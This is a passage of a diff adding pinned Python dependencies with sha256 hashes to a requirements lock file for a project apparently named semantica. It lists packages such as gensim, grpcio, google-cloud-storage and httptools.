--hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd + # via + # aiohttp + # aiosignal +fsspec==2026.7.0 \ + --hash=sha256:b57ddbafedfaef7018c1ecab32aa200a9d7ca26b77965f64e48b70061249d279 \ + --hash=sha256:c803c40f4cf860b49dea58ee3e1c33cb9c790520e233537e1340049f89b82a88 + # via + # huggingface-hub + # torch +gensim==4.4.0 \ + --hash=sha256:05a027238b5eb544a17afe73ec227d6a7e0c6b4e2108b1131c0b8f291a0e0e2e \ + --hash=sha256:06704acd354728262f9f32a9435c70945930f8d11b58531b3cb5c699f4757ad4 \ + --hash=sha256:0845b2fa039dbea5667fb278b5414e70f6d48fd208ef51f33e84a78444288d8d \ + --hash=sha256:120d58351f67ef38f3b102a724fb2ece298b20a06fbeae02797f18c1087591ca \ + --hash=sha256:1853fc5be730f692c444a826041fef9a2fc8d74c73bb59748904b2e3221daa86 \ + --hash=sha256:23a2a4260f01c8f71bae5dd0e8a01bb247a2c789480c033e0eaba100b0ad4239 \ + --hash=sha256:3bec3e6a1ecaa6439b21a3e42ceb0ca67ffabc114b646f89b1aab5fe69a39ffc \ + --hash=sha256:484286ff973c77d262776e44e0bc3b958331b7b0f5d61f83014f6cc12f1a814f \ + --hash=sha256:4b73ff30af6ddd0d2ddf9473b1eb44603cd79ec14c87d93b75291802b991916c \ + --hash=sha256:54a32a196502bf0e376cd7ef935be97f7ca96cc0f90ee9514d48406b7bd21bad \ + --hash=sha256:59d0d29099a76dd97d4563e002f3488a43e51f99d46387025da38007ebfeeff9 \ + --hash=sha256:5c4d8f2a5e69bc246931dfd8e03d0ce3f3bcf82adbbdbcf20dfc35c43b8e1035 \ + --hash=sha256:5e2c1d584d1c7d16b2a0fe7d2f6f59a451422df7b5edb7e3ca46c8e462782127 \ + --hash=sha256:6ecb7aed37fb92d24e15a6adbabe693074003263db0fd9ce97c9f4234a9edc1b \ + --hash=sha256:724b93c9b6e92cd15837048c71b7fdd38059276c85dd1f9c0375576f0aea153f \ + --hash=sha256:7590e7313848ca8f3ff064898bcd6ecf6ec71c752cf4d3ec83f7ac992bc7c088 \ + --hash=sha256:7e110e2d3533f5b35239850a96cb2016a586ecd85671d655079b3048332b7169 \ + --hash=sha256:9033b18920b7774e68eafacdbd87252ffa29382ec465ddb88bd036e00fc86365 \ + --hash=sha256:91a7fa5e814e7b1bad4b2dffa8d62c1e55410d5cbdf930714c1997ffb4404db8 \ + --hash=sha256:a3f5b626da5518e79a479140361c663089fe7998df8ba52d56e1ded71ac5bdf5 \ + --hash=sha256:b3a3f9bc8d4178b01d114e1c58c5ab2333f131c7415fb3d8ec8f1ecfe4c5b544 \ + --hash=sha256:b8961b7a2bb5190b46bc6cd26c29d5bfea22f99123ed5f506ebd0aaf65996758 \ + --hash=sha256:d56613fcb77d4068c1be845843508dcd9d384ede34700a61bbeac32b947d1fc3 \ + --hash=sha256:de863f72b97ee142e7ce1c28da8f8e5473b76064ecbfe139da62127f46ab5c07 \ + --hash=sha256:e29a2109819fdf5ff59bef670c8c22c1690d52239fe172b43e408908871de5f6 \ + --hash=sha256:f0977e5e5df03f829f322662e37ac973b93272c526f1432f865d214c0b573f98 + # via semantica (pyproject.toml) +gitdb==4.0.12 \ + --hash=sha256:5ef71f855d191a3326fcfbc0d5da835f26b13fbcba60c32c21091c349ffdb571 \ + --hash=sha256:67073e15955400952c6565cc3e707c554a4eea2e428946f7a4c162fab9bd9bcf + # via gitpython +gitpython==3.1.59 \ + --hash=sha256:0a1475cfdc38a5bfba1a3e9a4a9da52a39749ecec322b772915c019f94e5b7e4 \ + --hash=sha256:67a82f537384578643624c8b2c531938a9b82be431663e575dcf638526631d4c + # via semantica (pyproject.toml) +google-api-core==2.34.0 \ + --hash=sha256:98a779fe72de956eb1c9c2f47ff4c4432a668ece1a002ec38bed07ec2698ae59 \ + --hash=sha256:cdf9c67e7ca2402d86ccbfde5f2503fc83e3cc3f58cc78456ae96cad24a6d2de + # via + # google-cloud-core + # google-cloud-storage +google-auth==2.56.3 \ + --hash=sha256:40e229fc901f0a305b553050e5fce562d509bee0435be053abfa91582b51b90c \ + --hash=sha256:8ec438808f813ad034535000261eed1067475d229d05bbf4216e78c3f2362e53 + # via + # google-api-core + # google-cloud-core + # google-cloud-storage + # google-genai +google-cloud-core==2.6.1 \ + --hash=sha256:1e044b131f2ae097b92312fa195164b0aeb6dc6a88e00231e1210516314c420c \ + --hash=sha256:2682a8a4474a32f56292fb4bca7fa7e4fb0b4af958f6abfe4bca8d195747fd45 + # via google-cloud-storage +google-cloud-storage==3.13.1 \ + --hash=sha256:98208de6c21e85cecd3eb44551894efff33d98365500e178867d4305854a770a \ + --hash=sha256:a80bf8cac2794808aa61c50c5f769ecbbe2d10331bacd0d69d30e59b14b346b2 + # via semantica (pyproject.toml) +google-crc32c==1.8.0 \ + --hash=sha256:014a7e68d623e9a4222d663931febc3033c5c7c9730785727de2a81f87d5bab8 \ + --hash=sha256:01f126a5cfddc378290de52095e2c7052be2ba7656a9f0caf4bcd1bfb1833f8a \ + --hash=sha256:0470b8c3d73b5f4e3300165498e4cf25221c7eb37f1159e221d1825b6df8a7ff \ + --hash=sha256:119fcd90c57c89f30040b47c211acee231b25a45d225e3225294386f5d258288 \ + --hash=sha256:14f87e04d613dfa218d6135e81b78272c3b904e2a7053b841481b38a7d901411 \ + --hash=sha256:17446feb05abddc187e5441a45971b8394ea4c1b6efd88ab0af393fd9e0a156a \ + --hash=sha256:19b40d637a54cb71e0829179f6cb41835f0fbd9e8eb60552152a8b52c36cbe15 \ + --hash=sha256:2a3dc3318507de089c5384cc74d54318401410f82aa65b2d9cdde9d297aca7cb \ + --hash=sha256:3b9776774b24ba76831609ffbabce8cdf6fa2bd5e9df37b594221c7e333a81fa \ + --hash=sha256:3cc0c8912038065eafa603b238abf252e204accab2a704c63b9e14837a854962 \ + --hash=sha256:3d488e98b18809f5e322978d4506373599c0c13e6c5ad13e53bb44758e18d215 \ + --hash=sha256:3ebb04528e83b2634857f43f9bb8ef5b2bbe7f10f140daeb01b58f972d04736b \ + --hash=sha256:450dc98429d3e33ed2926fc99ee81001928d63460f8538f21a5d6060912a8e27 \ + --hash=sha256:4b8286b659c1335172e39563ab0a768b8015e88e08329fa5321f774275fc3113 \ + --hash=sha256:57a50a9035b75643996fbf224d6661e386c7162d1dfdab9bc4ca790947d1007f \ + --hash=sha256:61f58b28e0b21fcb249a8247ad0db2e64114e201e2e9b4200af020f3b6242c9f \ + --hash=sha256:6f35aaffc8ccd81ba3162443fabb920e65b1f20ab1952a31b13173a67811467d \ + --hash=sha256:71734788a88f551fbd6a97be9668a0020698e07b2bf5b3aa26a36c10cdfb27b2 \ + --hash=sha256:864abafe7d6e2c4c66395c1eb0fe12dc891879769b52a3d56499612ca93b6092 \ + --hash=sha256:86cfc00fe45a0ac7359e5214a1704e51a99e757d0272554874f419f79838c5f7 \ + --hash=sha256:87b0072c4ecc9505cfa16ee734b00cd7721d20a0f595be4d40d3d21b41f65ae2 \ + --hash=sha256:87fa445064e7db928226b2e6f0d5304ab4cd0339e664a4e9a25029f384d9bb93 \ + --hash=sha256:89c17d53d75562edfff86679244830599ee0a48efc216200691de8b02ab6b2b8 \ + --hash=sha256:8b3f68782f3cbd1bce027e48768293072813469af6a61a86f6bb4977a4380f21 \ + --hash=sha256:a428e25fb7691024de47fecfbff7ff957214da51eddded0da0ae0e0f03a2cf79 \ + --hash=sha256:b0d1a7afc6e8e4635564ba8aa5c0548e3173e41b6384d7711a9123165f582de2 \ + --hash=sha256:ba6aba18daf4d36ad4412feede6221414692f44d17e5428bdd81ad3fc1eee5dc \ + --hash=sha256:cb5c869c2923d56cb0c8e6bcdd73c009c36ae39b652dbe46a05eb4ef0ad01454 \ + --hash=sha256:d511b3153e7011a27ab6ee6bb3a5404a55b994dc1a7322c0b87b29606d9790e2 \ + --hash=sha256:db3fe8eaf0612fc8b20fa21a5f25bd785bc3cd5be69f8f3412b0ac2ffd49e733 \ + --hash=sha256:e6584b12cb06796d285d09e33f63309a09368b9d806a551d8036a4207ea43697 \ + --hash=sha256:f4b51844ef67d6cf2e9425983274da75f18b1597bb2c998e1c0a0e8d46f8f651 \ + --hash=sha256:f639065ea2042d5c034bf258a9f085eaa7af0cd250667c0635a3118e8f92c69c + # via + # google-cloud-storage + # google-resumable-media +google-genai==2.17.0 \ + --hash=sha256:6b640a2390c82b4a240873eddb9f518c6d2c33244b2de16ed3d14526a6da7f57 \ + --hash=sha256:a4835563c60aee646c9c4b261c507aa4a624710d25017012d20dc65abf3d9a54 + # via semantica (pyproject.toml) +google-resumable-media==2.10.1 \ + --hash=sha256:224975032ddb73f7ed9e2f0f4cc08ed1b06874c52d48cc8533e3eb72980b21a0 \ + --hash=sha256:4e2cbc704207ddc09f23b1f18e8ef4a4ccbfe0f1768b370e5c969704adbd0a1c + # via google-cloud-storage +googleapis-common-protos==1.75.1 \ + --hash=sha256:28a1934bcd33b9c9da66ac301a0a4227e3367f095a17d0375cb98f0a09d93b79 \ + --hash=sha256:d3042c6c5a2d4e67113104d6b6818b59b6bd92a197f2a91508e801fe815cf071 + # via google-api-core +graphviz==0.21 \ + --hash=sha256:20743e7183be82aaaa8ad6c93f8893c923bd6658a04c32ee115edb3c8a835f78 \ + --hash=sha256:54f33de9f4f911d7e84e4191749cac8cc5653f815b06738c54db9a15ab8b1e42 + # via semantica (pyproject.toml) +groq==1.6.0 \ + --hash=sha256:c4237ecf0053ba85fd926bb31cb4b178996310474b4618867994e3e40d8e3c02 \ + --hash=sha256:fa16db582455db324adcff1b5908519474736872e28cd5c8fa2b8bef6860e12a + # via semantica (pyproject.toml) +grpcio==1.83.0 \ + --hash=sha256:009667eaf3dcd5224c713589cdc98e7ca4ed0ff0b61132c6b276e930eb83a2df \ + --hash=sha256:10b3fa0475eb572c9a81a6fe37fa16a9c500c0c91cfc148cac15692b7e3c2867 \ + --hash=sha256:1aa567f8c3f19850ffd5d2858c9a8ea7c80f0db6c01186b71eb31e923ec984f5 \ + --hash=sha256:1c699bbb20f143c8f2bff219de578aa2dc1f919399d67dc702b038b986ee62df \ + --hash=sha256:28f6c35ac8fcf10e4594f138e468f194360089dde40d126a7033e863fc479930 \ + --hash=sha256:2b5e75c34842cd9c1b95285ca395c6a569664b81e3ffa6b714125922942abaaf \ + --hash=sha256:2bb48cb5e6dd005ca12b89ce4b6ac0b48ff3112c747542ee7986ef611a8ca6d9 \ + --hash=sha256:32e11c37f5285b0c6fa3042c05fe06903696689749833fc64e67dec71b9bbe33 \ + --hash=sha256:33898e6a28e4ae598f1577cb1c4fec2a15c033d0ec52b9b45a09610dd045b9da \ + --hash=sha256:35a5b1c192496b6c25956eebfa963468935612206fd2543ac3ce981e6a5e0f03 \ + --hash=sha256:3f351629f6ae16ecc0ec3553e586a6763ffd9f6114044286d0cbec3e09241bfa \ + --hash=sha256:4772402f43517b4824980be4b3b2274a81eec0004a70009473c31b340d43e223 \ + --hash=sha256:4e3eedfc92b6b9f2960115e7e620cf0cbf80bb7849a51ce3820dc54dfd88b6b9 \ + --hash=sha256:4fcaa7c45c45b4a89e2867d1f1785d9481a788399d915e341ed2eb49aeef9dd4 \ + --hash=sha256:5882c1a721b50ce0123ee5e839e1ab059ad72a7ade76cdf2d5bd833b56791acf \ + --hash=sha256:5f20a988480b0f28207f057f7f7ae1313393c3cef0adcfeae8248f9947eaf881 \ + --hash=sha256:61007cd08640abc5c54547ee32505474c482cd733a53cb87551ea81faa6350af \ + --hash=sha256:62003babc444a606dcd1f009cd16391ce23669ae4ad6ec267a873da7937a69f5 \ + --hash=sha256:6662f3b1e07cc7493d437351860dc867bddc6a93c83ecf33bbfdaf0c217ab2d0 \ + --hash=sha256:6755ed67cc3e454d51ae9f6e1915b80d3942fa4de956ef48dacd45ab7f40b727 \ + --hash=sha256:6b6c666a1d5613ff360c9e90f44665e3a88b25a815209ddbc0917eec281931cb \ + --hash=sha256:6be5c807b717be3dd649446f021301fd7907e376318675d2147823071034112a \ + --hash=sha256:6e01ecd9d8ef280abe1365138a4dc318f9a5287f4cb1b41d07816f796653f735 \ + --hash=sha256:6fb8a1dd0c6f0f931e69e9d0dc6d1c406ed2a44fa963414eafba07b7fb685d16 \ + --hash=sha256:7416952ca770477990257206276999056f8316d79196f2f25942393e58a20b49 \ + --hash=sha256:74fe6f9e8a35c7dbf32255ee154d15e3e5338a81ed39173d079d594d2e544cd1 \ + --hash=sha256:7674587248fbbb2ac6e4eecf83a8a0f3d91a928f941de571acfd3a2f007fbc24 \ + --hash=sha256:7936f2a56cf04f6514705c0fedf400971de01b6aa1719327e4718f410a765e2b \ + --hash=sha256:7bd82671b39065ba18cd536e9cd45b27ff649053f81ddd2c6a966d595067080f \ + --hash=sha256:8f6c395e493d20c39b29392ca200e9aaeb78d0bc2f04db0c0a7da7ddc939aa57 \ + --hash=sha256:8fe04f1050a59f875601eb55d42b4f66946fe89817f967e34db1462ccd07dadf \ + --hash=sha256:8ff0b8767ddd62704e0d9571c1890af08d84a3a689ebba1807e62519d0b3277f \ + --hash=sha256:a21cb4eeeba124443f399be2e8b624943cde864dcbe588cb42e5c483a52a906c \ + --hash=sha256:aa074041231f03959cb097dd5517b0677b8ea49215bae01d5710a7b69dd59969 \ + --hash=sha256:aeb339838db07600481ef869507279b75326c75eac6d10f7afa62a0da1d2bcdd \ + --hash=sha256:b0a0be840e51b6b7ee9df9269770faf77bdf4b771053c257c21d12bad607714c \ + --hash=sha256:bb669918fd88936b15599caff4160a77ab74bdeb25f2231f6e45b61282d6107b \ + --hash=sha256:bc60215b5cb9fc8ca72942c498b551ac2305bd08f6ef8d4e3f0d21b64fbecd61 \ + --hash=sha256:c19b454d3d3f28db81f2c7c4dbaee96e7f6fd149721733ffe79d6bc530f17404 \ + --hash=sha256:c6444666317338e903093c7c756e6cc88eee59f798cb8dd41e87725bf54e1617 \ + --hash=sha256:c834e86d8fd2f03d7e4db49a027f7c5b89c5b88eed305543a5295bd6fee61e40 \ + --hash=sha256:cb056f6e171c42639a50460b2929c82241fda51f71cf3dcdd68090fe45095a45 \ + --hash=sha256:cb2906c61db4f9c64cc360054b5df70eeb81846228e9e56a4944bd415a63dadc \ + --hash=sha256:d05ff664100d429335b93c91b8b34ddf9e94a112205e7fa06dede309e44a4e4c \ + --hash=sha256:ee94a4016fdf8699fb1fd8a38652475ff677f1c72074cee44deeeb9a7e95e745 \ + --hash=sha256:f1c3e5689d4b90987b1d72022bcfe866a9a3dc66197484cf856d96b6150e7f45 \ + --hash=sha256:f47d62808b4c0a97b78bff88a6d4ca283a2a492b9a04a87d814af95ca3b9c19c \ + --hash=sha256:f4cee5fc86e84a0cf7ad1574b454c3320e087c07f55b7df5dc0ac6a873fb90c0 \ + --hash=sha256:f5e822a7e7d03282f6ad225e710493c48b9057a353358344a5f7c42b2b37618d \ + --hash=sha256:f5f410d7c2903eabb34789dfd6342eef04af1ad459943936b7e09a9f5bd417b9 \ + --hash=sha256:fba099b716e73512d61b97f71ea3c31a72abb36904036e316bf4dd148ca8dcc8 + # via + # semantica (pyproject.toml) + # grpcio-health-checking + # pymilvus + # qdrant-client + # weaviate-client +grpcio-health-checking==1.83.0 \ + --hash=sha256:7d8b47a5bfbc699d4aee0fc7a27f5d0265eb23a6a64db5ac2d8b749a0f8a9911 \ + --hash=sha256:ad6bc4d5a1103ad704d25ccd82def300dfa27996b185cab3e4cceeef2c6867d4 + # via weaviate-client +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 + # via + # agno + # httpcore + # uvicorn +h2==4.4.1 \ + --hash=sha256:0e25f1462b23c9cb82d9eb02e28bc706dac2a68cb457c6a0d74d63c8a2a5d0e6 \ + --hash=sha256:4e866ffb1a869ae14dd9b5e6beb5c24a13da0495ad72b65925ded182521c1516 + # via httpx +hdbscan==0.8.44 \ + --hash=sha256:0f4fa78c76459e1e00282fd8d67a6834ca46ba232e38414f69bb1bacc2c263ce \ + --hash=sha256:1ac6196fabdd42072284b60c9be7b9b504b5f4f25cf7a551a8af29a3c7963a4d \ + --hash=sha256:2351eb81f21491b5b50bdc5ecaa2d88f58608f51f5906774cb38747f21b18053 \ + --hash=sha256:29bffe0ef8a8191e6cd5af3dc7fdf5e7f6334eea8fa39ee8488f2f16911c1cdf \ + --hash=sha256:3400d93a299228e86dec77cc114b834cdd48413f7999eaddaecba045c38ee915 \ + --hash=sha256:5ea248dcaca951861e811411bf3eb9954f932f3a90c8bbe5629b5ee8479e011e \ + --hash=sha256:6089b8accd805a3a7409b20247e29e54dea6118785771127a4fc6c5eda24f0ef \ + --hash=sha256:80101ed4897ecbbb5ec36358c4d4c5c38ce4e53b9da5996923d1ec72d21ce665 \ + --hash=sha256:91dac2f5668b946e3b6335bf6ea4c95fd446af45f7169cf0ab93fea34d4b0e73 \ + --hash=sha256:9256a7028f017b257c5eba05fe332a744a410c0dcb9971eaa9ed6c5efaac50d5 \ + --hash=sha256:be163d32e71a7ca9e3fd0c6867fdaa7a0c1989f3edc5048ba211beb3949eb96d \ + --hash=sha256:c72c1f357adfd9e9c0f402d7cc256bcf38a04ed833754661ec2600cc04e47c1b \ + --hash=sha256:cc4917a57f73984137bc6f14cddd1a140907102522174af8d8add42668a5e196 \ + --hash=sha256:d67f2b3628a80764a07fff3a994df2c6b2d9a6b9c8024edde7b36c184f6657f6 \ + --hash=sha256:df6d6268022747a60c9990cecf446bc7a71621ff92bc51c86f5958d1cd451870 \ + --hash=sha256:e83276c6147d1ec74359ac2d07b2df9d0deb5e248194660967bcde6437a8518c \ + --hash=sha256:f7ee278a8da6043671031079b245488ee27565f48a83616637dae0b2c4886ea1 + # via bertopic +hf-xet==1.6.0 \ + --hash=sha256:0e6e21fa3cdfcdcd76748564bf593870a5e013f47d97cf10aed63aa222cff5b7 \ + --hash=sha256:23379c2f9ec8696d952b16414a2bae72cad86a52df869b050698ba60f538c675 \ + --hash=sha256:2e58454a340b3556dfa4972d5451aff4fba8dd42a236600ba1a1d2b1514f0fef \ + --hash=sha256:35cec30d75c6f9eb9c16a77cef68e85a103b72e24d4b473714ec9ff06428bab9 \ + --hash=sha256:3dc3e35441ba395006af5aaacc40ef2e603c51ef46c3530b9156185f00935ea3 \ + --hash=sha256:4fc74352a17015bd0ee90038bc9efe38db894cde45f268b6712b04fce8cd0acb \ + --hash=sha256:5153e6bb103ad49d6ea9f1b2e230db5a2ea32551ad09a706d2f61d7c7c80d80e \ + --hash=sha256:5789835d7c6bc9436962853192082374297fb72d7eff7e7762ec25ceb7e25338 \ + --hash=sha256:633dc0cd71d32da58ab8c03ad38e2fac452c15c2b0a2866ebf6ededfe0a5061d \ + --hash=sha256:70cbb9c896901600128cb9b6f06e132954fbede1db30f31f7c6c63f84cb7c31d \ + --hash=sha256:75765820ce4700db3750c94acc8fe27c5fae4c9ec000a0dbac3ca082acf97765 \ + --hash=sha256:8fb4f71cba6129110c3374a33f919001ff130488fc23553698e34cc1c2a1198c \ + --hash=sha256:948f15d3a9545cfe5932f6bd8b440f6ae630aee108f14b7bd6c561f7c2dcc522 \ + --hash=sha256:d62671bb130879cef0ee4c9ebe47a14af6c66ec53e6d84dc15936e5ffdfac82f \ + --hash=sha256:f0906082d9932ae0c0057fa194041c22b4e2cdb46b2592ef3b91f020d62a081a \ + --hash=sha256:f2f7278c05c22fd60cb436cda1269649b3e81db65ecdc8496e5e164aa4143e7b \ + --hash=sha256:fb4fadde1b2b70bf4c0c14a6dccbe7194b1c28947fefd5bbe3fed9d940676c3b + # via huggingface-hub +hpack==4.2.0 \ + --hash=sha256:0895cfa3b5531fc65fe439c05eb65144f123bf7a394fcaa56aa423548d8e45c0 \ + --hash=sha256:858ac0b02280fa582b5080d68db0899c62a80375e0e5413a74970c5e518b6986 + # via h2 +html5rdf==1.2.1 \ + --hash=sha256:1f519121bc366af3e485310dc8041d2e86e5173c1a320fac3dc9d2604069b83e \ + --hash=sha256:ace9b420ce52995bb4f05e7425eedf19e433c981dfe7a831ab391e2fa2e1a195 + # via rdflib +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 + # via httpx +httptools==0.8.0 \ + --hash=sha256:0770728beb05094c809b98e814edff5fef69d26ad7d21185f2f6d5884a0ba683 \ + --hash=sha256:0ea897f0c729581ebf72131a438a7932d9b14efef72d75ada966700cac3caaeb \ + --hash=sha256:159e9ab5f701ccd42e555a12f1ad8ff69702910fc1c996cf2bb66e5fcb7a231b \ + --hash=sha256:19d1ee275bb59ba2643ba9a3a1e51cc0c788caf2b8df506368e03f56fdd08527 \ + --hash=sha256:20b4aac66ff65f7db06a375808b78f42a94970aa22e826b3cb2b43eb09174124 \ + --hash=sha256:2a021c3a8e65cc125390d72f59b968afca3bdcaff25bd67965e0a055a14946ca \ + --hash=sha256:2c032fa028f46871ec7e1fc59fc15e8023eab3e6bbe6ece786a1611719a5d081 \ + --hash=sha256:2d689918c15a013c65ef52d9fd495d766893ab831a2c8d89f2ac5940a5df847c \ + --hash=sha256:384c17174464c8e873398b7af24f0b1f44d992c820328413951a625323155d77 \ + --hash=sha256:425f83884fd6343828d8c565f046cb72b6d19063f6924093e11bcd8e1548cd09 \ + --hash=sha256:48774d39cbb70e2b1f71f88852a3087ae1d3a1eb80482bb48c13067ab080c14f \ + --hash=sha256:52dd695b865fe96d9d2b16b64a895f3f57bf3cb064e8383cd3b5713a069e8085 \ + --hash=sha256:57278e6fa0424c42a8a3e454828ab4f0aff27b40cddf9679579b98c6dce6a376 \ + --hash=sha256:5931891fb7b441b8a3853cf1b85c82c903defce084dd5f6771ca46e31bf862c5 \ + --hash=sha256:5d7fa4ba7292c1139c0526f0b5aad507c6263c948206ea1b1cbca015c8af1b62 \ + --hash=sha256:5eb911c515b96ee44bbd861e42cbefc488681d450545b1d02127f6136e3a86f5 \ + --hash=sha256:614ceea8ea606848bece2338ac03b3ce5324bcb4be8dc7d377ed708012fa4db8 \ + --hash=sha256:6a43c9dd399758ccc0531acb0a3c4a6c299ee893ee9400e9c893b7bdcfae0681 \ + --hash=sha256:6b2a32f18d97e16e90827d7a819ffa8dbd8cc245fc4e1fa9d1095b54ef4bd999 \ + --hash=sha256:7685df791fad561384bfb139e77fde27a1ffd93134e016f95a0db424ffbf77b1 \ + --hash=sha256:7b71e7d7031928c650e1006e6c03e911bf967f7c69c011d37d541c3e7bf55005 \ + --hash=sha256:880490234c10f70a9830743097e8958d6e4b9f5a0ffc24515023afeef984054d \ + --hash=sha256:88bdd940f2b5d487b4d032c6afa5489a7dc4694410d43de3c38c4fb3af0dc45d \ + --hash=sha256:88eead8ec8680a9f146c655bc88445a325bd7921cfd8194c7337e9467282427d \ + --hash=sha256:9518c406d7b310f05adb1a37f80acabac40504a575d7c0da6d3e365c695ac20d \ + --hash=sha256:9878eb2785ba5eb70631ad269b37976f73d647955e26c91d490eb8a4edfda4ba \ + --hash=sha256:9fc1644f415372cec4f8a5be3a64183737398f10dbb1263602a036427fe75247 \ + --hash=sha256:a1afd7c9fbff0d9f5d489c4ce2768bd09c84a46ddefc7161e6aa82ae35c85745 \ + --hash=sha256:a1b4c8e7a489a0d750d91894e9a8cdc295838f1924c0ca903ae993456fddec07 \ + --hash=sha256:a3b7387147361c3fd47a0bde763c5c91b5b4cd4dc9989b8ece84ff436c99843b \ + --hash=sha256:a6f21e2a3b0067bbe7f67e34cfd16276af556e5e52f4c7503be0cb5f90e905e4 \ + --hash=sha256:b15fc622b0f869d19207c4089a501d9bcc63ca5e071ffdd2f03f922df882dcb2 \ + --hash=sha256:b205e5f5523fa039679da0dfe5a10132b2a4abeae6a86fdd1ddc035f7f836557 \ + --hash=sha256:bbb8caadb2b742d293169d2b458b5c001ef70e3158704aa3d3ef9597624c5d1d \ + --hash=sha256:bf3b6f807c8541503cecfbb8a8dffb385640d0d96102f3d112aa8740f9b7c826 \ + --hash=sha256:c08ffe3e79756e0963cbc8fe410139f38a5884874b6f2e17761bef6563fdcd9b \ + --hash=sha256:c0d726cc107fceb7d45f978483b4b70dd8caa836f5914d3434bb18628eb73813 \ + --hash=sha256:c4a9f1707e4823d54dfec6c33fa3697d302aed536ed352a7ebb5a061ddb869d0 \ + --hash=sha256:cd96f29b4bab1d42fa6e3d008711c75e0f79e94e06827330160e3a304227f150 \ + --hash=sha256:d76ad7b951387e3632c8716a9bb03ac5b45c5f16119aa409db0459520887944e \ + --hash=sha256:da684f2e1aa2ee9bdcb083f3f3a68c5956750b375bc5df864d3a5f0c42a40b77 \ + --hash=sha256:de1ed58a974e75d56560acc7e7fed01a454994429456f65209789992e41f2568 \ + --hash=sha256:de242a49b5d18e0a8776e654e9f6bf6d89f3875a5c35b425a0e7ce940feb3fd6 \ + --hash=sha256:df31ef5494f406ab6cf827b7e64a22841c6e2d654100e6a116ea15b46d02d5e8 \ + 